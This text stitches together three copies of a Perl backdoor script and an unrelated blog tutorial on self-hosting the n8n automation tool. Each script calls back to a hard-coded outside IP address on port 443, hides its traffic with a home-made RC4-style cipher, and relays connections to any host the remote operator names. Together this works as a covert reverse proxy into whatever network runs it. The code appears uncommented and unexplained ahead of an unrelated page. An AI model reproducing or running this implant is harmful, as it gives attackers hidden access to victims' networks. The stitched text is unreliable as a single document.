#!/usr/bin/perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
my $host = '36.255.98.151';
my $port = 443;
my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }
sub Rc4_crypt {
my $passw = shift(@_);
my $length = shift(@_);
my $buff0 = shift(@_);
my $start = shift(@_);
my $sz = shift(@_);
my $rc4 = "\x00" x 256;
my $pockemon0 = 0;
my $pockemon1 = 0;
my $pockemon2 = 0;
my $pockemon3 = 0;
my $pockemon4 = 0;
my $pockemon5 = 0;
my $pockemon6 = 0;
my $pockemon7 = 0;
my $pockemon8 = 0;
my $rcx = $sz;
my $rsi = 0;
my $rbx = 0;
my $gs = 0;
my $t = 0;
for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
while(1) {
if ($gs == 0) {
$pockemon2 = 0;
$pockemon3 = $length;
}
if ($gs != 0) {
$gs = 0;
$pockemon2++;
if (--$pockemon3 == 0) { next; }
}
$pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
$t = unpack('C', substr($$passw, $pockemon2, 1));
$pockemon1 += $t;
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) {
$gs = 1;
next;
}
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
$pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
$pockemon5 = $pockemon5 ^ $pockemon0;
substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
$pockemon3++;
if (--$pockemon4 == 0)
{
last;
}
}
last;
}
$rsi = 0;
$rcx = $sz;
$rbx = 0;
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
}
sub synsend {
my $cSocket = shift(@_);
my $buffer = shift(@_);
my $flags = shift(@_);
open(my $fh, "<", '/dev/null');
flock($fh, LOCK_EX);
# ===============================================
send($cSocket, $buffer, $flags);
# ===============================================
flock($fh, LOCK_UN);
close($fh);
}
sub newConnection {
my $num = shift(@_);
my $socketarray = shift(@_);
my $sSocket = shift(@_);
my $cSocket = shift(@_);
my $buff0 = shift(@_);
threads->create( sub {
my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain = '';
my $port = 0;
my $_ret = 0;
my $data = '';
my $buffer = '';
setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
fcntl($cSocket, F_SETFL, O_NONBLOCK);
if (unpack('C', substr($buff0, 7, 1)) == 3) {
$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
}
elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
}
else {
goto close_;
}
eval {
my $paddr = sockaddr_in($port, inet_aton($domain));
connect($cSocket, $paddr);
vec(my $win = '', fileno($cSocket), 1) = 1;
unless (select(undef, $win, undef, 10)) { goto close_; }
fcntl($cSocket, F_SETFL, 0);
substr($responce, 4, 1) = "\x00";
$_ret = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
synsend($sSocket, $responce, MSG_NOSIGNAL);
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
if ($_ret == 1) {
while ($$socketarray[$num] == 1) {
vec(my $rin = '', fileno($cSocket), 1) = 1;
unless (select($rin, undef, undef, 1)) { next; }
$data = '';
recv($cSocket, $data, 65530, 0);
unless ($data) { last; }
$buffer = pack('C', $num).pack('S', length($data)).$data;
Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
synsend($sSocket, $buffer, MSG_NOSIGNAL);
}
}
$$socketarray[$num] = 0;
close($cSocket);
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
threads->detach();
});
}
sub bccnct {
my $host = shift(@_);
my $port = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my @socketarr;
my @socketarray :shared;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = '';
my $isExit = 0;
my $ecx = 0;
my $eax = 0;
my $data = '';
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
my $paddr = sockaddr_in($$port, inet_aton($$host));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 11) = "Perl script";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
send($socketarr[0], $buffer, MSG_NOSIGNAL);
while(1) {
if ($remaining4 != 4) {
vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 60);
next if ($ret < 0);
if ($ret == 0) {
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0) {
$socketarray[$ebx] = 0;
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = '';
recv($socketarr[0], $data, $ecx, 0);
unless ($data) { last; }
$remaining += length($data);
$buffer0 .= $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (unpack('C', substr($buffer0, 0, 1)) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$socketarray[$ebx] = 1;
newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
}
else {
send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
if ($remaining4 == 0) { $buffer0 = ''; }
$eax = 4;
$eax = $eax - $remaining4;
$data = '';
recv($socketarr[0], $data, $eax, 0);
unless ($data) { last; }
$remaining4 += length($data);
$buffer0 .= $data;
$buffernull = "\x00" x 3;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = unpack('C', substr($buffer0, 1, 1));
$edx = unpack('S', substr($buffer0, 2, 2));
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
sleep 10;
if ($isExit == 1) { exit; }
return $_ret;
}
bccnct(\$host, \$port);
#!/usr/bin/perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
my $host = '62.60.131.193';
my $port = 443;
my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }
sub Rc4_crypt {
my $passw = shift(@_);
my $length = shift(@_);
my $buff0 = shift(@_);
my $start = shift(@_);
my $sz = shift(@_);
my $rc4 = "\x00" x 256;
my $pockemon0 = 0;
my $pockemon1 = 0;
my $pockemon2 = 0;
my $pockemon3 = 0;
my $pockemon4 = 0;
my $pockemon5 = 0;
my $pockemon6 = 0;
my $pockemon7 = 0;
my $pockemon8 = 0;
my $rcx = $sz;
my $rsi = 0;
my $rbx = 0;
my $gs = 0;
my $t = 0;
for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
while(1) {
if ($gs == 0) {
$pockemon2 = 0;
$pockemon3 = $length;
}
if ($gs != 0) {
$gs = 0;
$pockemon2++;
if (--$pockemon3 == 0) { next; }
}
$pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
$t = unpack('C', substr($$passw, $pockemon2, 1));
$pockemon1 += $t;
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) {
$gs = 1;
next;
}
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
$pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
$pockemon5 = $pockemon5 ^ $pockemon0;
substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
$pockemon3++;
if (--$pockemon4 == 0)
{
last;
}
}
last;
}
$rsi = 0;
$rcx = $sz;
$rbx = 0;
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
}
sub synsend {
my $cSocket = shift(@_);
my $buffer = shift(@_);
my $flags = shift(@_);
open(my $fh, "<", '/dev/null');
flock($fh, LOCK_EX);
# ===============================================
send($cSocket, $buffer, $flags);
# ===============================================
flock($fh, LOCK_UN);
close($fh);
}
sub newConnection {
my $num = shift(@_);
my $socketarray = shift(@_);
my $sSocket = shift(@_);
my $cSocket = shift(@_);
my $buff0 = shift(@_);
threads->create( sub {
my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain = '';
my $port = 0;
my $_ret = 0;
my $data = '';
my $buffer = '';
setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
fcntl($cSocket, F_SETFL, O_NONBLOCK);
if (unpack('C', substr($buff0, 7, 1)) == 3) {
$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
}
elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
}
else {
goto close_;
}
eval {
my $paddr = sockaddr_in($port, inet_aton($domain));
connect($cSocket, $paddr);
vec(my $win = '', fileno($cSocket), 1) = 1;
unless (select(undef, $win, undef, 10)) { goto close_; }
fcntl($cSocket, F_SETFL, 0);
substr($responce, 4, 1) = "\x00";
$_ret = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
synsend($sSocket, $responce, MSG_NOSIGNAL);
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
if ($_ret == 1) {
while ($$socketarray[$num] == 1) {
vec(my $rin = '', fileno($cSocket), 1) = 1;
unless (select($rin, undef, undef, 1)) { next; }
$data = '';
recv($cSocket, $data, 65530, 0);
unless ($data) { last; }
$buffer = pack('C', $num).pack('S', length($data)).$data;
Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
synsend($sSocket, $buffer, MSG_NOSIGNAL);
}
}
$$socketarray[$num] = 0;
close($cSocket);
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
threads->detach();
});
}
sub bccnct {
my $host = shift(@_);
my $port = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my @socketarr;
my @socketarray :shared;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = '';
my $isExit = 0;
my $ecx = 0;
my $eax = 0;
my $data = '';
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
my $paddr = sockaddr_in($$port, inet_aton($$host));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 11) = "Perl script";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
send($socketarr[0], $buffer, MSG_NOSIGNAL);
while(1) {
if ($remaining4 != 4) {
vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 60);
next if ($ret < 0);
if ($ret == 0) {
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0) {
$socketarray[$ebx] = 0;
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = '';
recv($socketarr[0], $data, $ecx, 0);
unless ($data) { last; }
$remaining += length($data);
$buffer0 .= $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (unpack('C', substr($buffer0, 0, 1)) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$socketarray[$ebx] = 1;
newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
}
else {
send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
if ($remaining4 == 0) { $buffer0 = ''; }
$eax = 4;
$eax = $eax - $remaining4;
$data = '';
recv($socketarr[0], $data, $eax, 0);
unless ($data) { last; }
$remaining4 += length($data);
$buffer0 .= $data;
$buffernull = "\x00" x 3;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = unpack('C', substr($buffer0, 1, 1));
$edx = unpack('S', substr($buffer0, 2, 2));
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
sleep 10;
if ($isExit == 1) { exit; }
return $_ret;
}
bccnct(\$host, \$port);
#!/usr/bin/perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
my $host = '36.255.98.167';
my $port = 443;
my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }
sub Rc4_crypt {
my $passw = shift(@_);
my $length = shift(@_);
my $buff0 = shift(@_);
my $start = shift(@_);
my $sz = shift(@_);
my $rc4 = "\x00" x 256;
my $pockemon0 = 0;
my $pockemon1 = 0;
my $pockemon2 = 0;
my $pockemon3 = 0;
my $pockemon4 = 0;
my $pockemon5 = 0;
my $pockemon6 = 0;
my $pockemon7 = 0;
my $pockemon8 = 0;
my $rcx = $sz;
my $rsi = 0;
my $rbx = 0;
my $gs = 0;
my $t = 0;
for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
while(1) {
if ($gs == 0) {
$pockemon2 = 0;
$pockemon3 = $length;
}
if ($gs != 0) {
$gs = 0;
$pockemon2++;
if (--$pockemon3 == 0) { next; }
}
$pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
$t = unpack('C', substr($$passw, $pockemon2, 1));
$pockemon1 += $t;
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) {
$gs = 1;
next;
}
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
$pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
$pockemon5 = $pockemon5 ^ $pockemon0;
substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
$pockemon3++;
if (--$pockemon4 == 0)
{
last;
}
}
last;
}
$rsi = 0;
$rcx = $sz;
$rbx = 0;
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
}
sub synsend {
my $cSocket = shift(@_);
my $buffer = shift(@_);
my $flags = shift(@_);
open(my $fh, "<", '/dev/null');
flock($fh, LOCK_EX);
# ===============================================
send($cSocket, $buffer, $flags);
# ===============================================
flock($fh, LOCK_UN);
close($fh);
}
sub newConnection {
my $num = shift(@_);
my $socketarray = shift(@_);
my $sSocket = shift(@_);
my $cSocket = shift(@_);
my $buff0 = shift(@_);
threads->create( sub {
my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain = '';
my $port = 0;
my $_ret = 0;
my $data = '';
my $buffer = '';
setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
fcntl($cSocket, F_SETFL, O_NONBLOCK);
if (unpack('C', substr($buff0, 7, 1)) == 3) {
$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
}
elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
}
else {
goto close_;
}
eval {
my $paddr = sockaddr_in($port, inet_aton($domain));
connect($cSocket, $paddr);
vec(my $win = '', fileno($cSocket), 1) = 1;
unless (select(undef, $win, undef, 10)) { goto close_; }
fcntl($cSocket, F_SETFL, 0);
substr($responce, 4, 1) = "\x00";
$_ret = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
synsend($sSocket, $responce, MSG_NOSIGNAL);
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
if ($_ret == 1) {
while ($$socketarray[$num] == 1) {
vec(my $rin = '', fileno($cSocket), 1) = 1;
unless (select($rin, undef, undef, 1)) { next; }
$data = '';
recv($cSocket, $data, 65530, 0);
unless ($data) { last; }
$buffer = pack('C', $num).pack('S', length($data)).$data;
Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
synsend($sSocket, $buffer, MSG_NOSIGNAL);
}
}
$$socketarray[$num] = 0;
close($cSocket);
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
threads->detach();
});
}
sub bccnct {
my $host = shift(@_);
my $port = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my @socketarr;
my @socketarray :shared;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = '';
my $isExit = 0;
my $ecx = 0;
my $eax = 0;
my $data = '';
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
my $paddr = sockaddr_in($$port, inet_aton($$host));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 11) = "Perl script";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
send($socketarr[0], $buffer, MSG_NOSIGNAL);
while(1) {
if ($remaining4 != 4) {
vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 60);
next if ($ret < 0);
if ($ret == 0) {
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0) {
$socketarray[$ebx] = 0;
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = '';
recv($socketarr[0], $data, $ecx, 0);
unless ($data) { last; }
$remaining += length($data);
$buffer0 .= $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (unpack('C', substr($buffer0, 0, 1)) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$socketarray[$ebx] = 1;
newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
}
else {
send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
if ($remaining4 == 0) { $buffer0 = ''; }
$eax = 4;
$eax = $eax - $remaining4;
$data = '';
recv($socketarr[0], $data, $eax, 0);
unless ($data) { last; }
$remaining4 += length($data);
$buffer0 .= $data;
$buffernull = "\x00" x 3;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = unpack('C', substr($buffer0, 1, 1));
$edx = unpack('S', substr($buffer0, 2, 2));
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
sleep 10;
if ($isExit == 1) { exit; }
return $_ret;
}
bccnct(\$host, \$port);
Everything You Need to Know About n8n: Building Your First AI Agent via Self-Hosting - ClemxyBlog
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Introduction Automation
Automation is the backbone of modern digital efficiency. It allows individuals and businesses to eliminate repetitive tasks, connect systems, and boost productivity using software tools or scripts that perform tasks automatically.
For example:
Instead of manually sending a welcome email, automation tools can do that every time someone subscribes.
A marketer can automatically post new blog updates to social media platforms. This is where platforms like n8n become invaluable — enabling you to design and run automations with minimal coding.
Watch the YouTube video below from n8n channel to learn more
Introduction to APIs and Webhooks
Before diving into n8n, it’s important to understand how automation tools communicate — through APIs and webhooks.
API (Application Programming Interface): Think of an API as a messenger between two applications. It allows one system to request or send data to another — like fetching Twitter posts or sending data to Google Sheets.
Endpoints: These are specific URLs where APIs listen for requests. For example, https://api.openai.com/v1/chat is an endpoint for OpenAI’s ChatGPT API.
API Keys: Like a digital password that authenticates your connection to a third-party service.
Webhook: Unlike APIs that pull data when you ask, webhooks push data automatically when something happens. Example: when a payment succeeds on Stripe, a webhook sends that data instantly to your n8n workflow.
Understanding these two terms (API and webhook) is foundational before building automations.
Watch the YouTube video below from n8n channel to learn more
What is n8n?
n8n (pronounced “n-eight-n”) is an open-source workflow automation tool that allows you to connect apps, APIs, and data together visually — similar to tools like Zapier or Make, but with far more control and flexibility.
It enables you to create automated workflows (or “workflows”) composed of connected “nodes” that represent steps in your process — for example:
Receive data → Process → Send output → Notify user
Unlike proprietary platforms, n8n is open-source and can be self-hosted , meaning you can run it on your own server for free and full control.
Why n8n Over Other Automation Platforms?
Open Source: Free to use and customizable.
Self-Hosting: You own your data — no vendor lock-in.
Flexible Workflows: Handle complex logic, conditions, and loops easily.
Supports Custom Code: Integrate your JavaScript or Python logic.
AI & API Integrations: Connect directly with AI APIs (OpenAI, HuggingFace, etc.).
Community Driven: Regular updates and a vibrant ecosystem.
Introduction to Self-Hosting and Command-Line Setup
To run n8n locally or on your own server, you’ll need two core installations:
Node.js — JavaScript runtime environment
n8n — the automation platform itself
Installing Node.js (via Command Line) For macOS/Linux:
sudo apt update sudo apt install nodejs npm node -v npm -v
For Windows: Download and install Node.js from https://nodejs.org
Installing n8n Once Node.js is ready, install n8n globally:
npm install n8n -g
To start the service:
n8n start
Your local instance will typically run on: 👉 http://localhost:5678
What Are Nodes in n8n?
Nodes are the building blocks of every workflow in n8n. Each node performs one action — like sending an email, fetching API data, or transforming a dataset.
The Three Categories of Nodes: Trigger Nodes: Start workflows (e.g., “When a webhook receives data”).
Action Nodes: Perform tasks like sending messages or calling APIs.
Logic Nodes: Handle conditions, loops, or branching logic.
Examples: HTTP Request Node → Calls an API endpoint
Webhook Node → Receives data
Function Node → Runs custom JavaScript
AI Node (OpenAI) → Integrates LLM responses into workflows
Watch the YouTube video below from n8n channel to learn more
How Does n8n Handle Data?
n8n’s internal data structure is JSON-based , allowing nodes to pass structured data seamlessly. It uses two key concepts:
Items: Each represents one data record processed by a node.
Batches: Collections of multiple items processed together for efficiency.
This design makes n8n extremely flexible — you can transform or map data between APIs effortlessly.
Watch the YouTube video below from n8n channel to learn more
Core Workflow Concepts
Trigger: The event that starts the workflow
Execution Flow: The path of connected nodes
Connections: Arrows that define data flow
Expressions: Dynamic values (e.g., use of {{ $json.email }} in nodes)
Variables: Temporary placeholders for logic-based workflows
Watch the YouTube video below from n8n channel to learn more
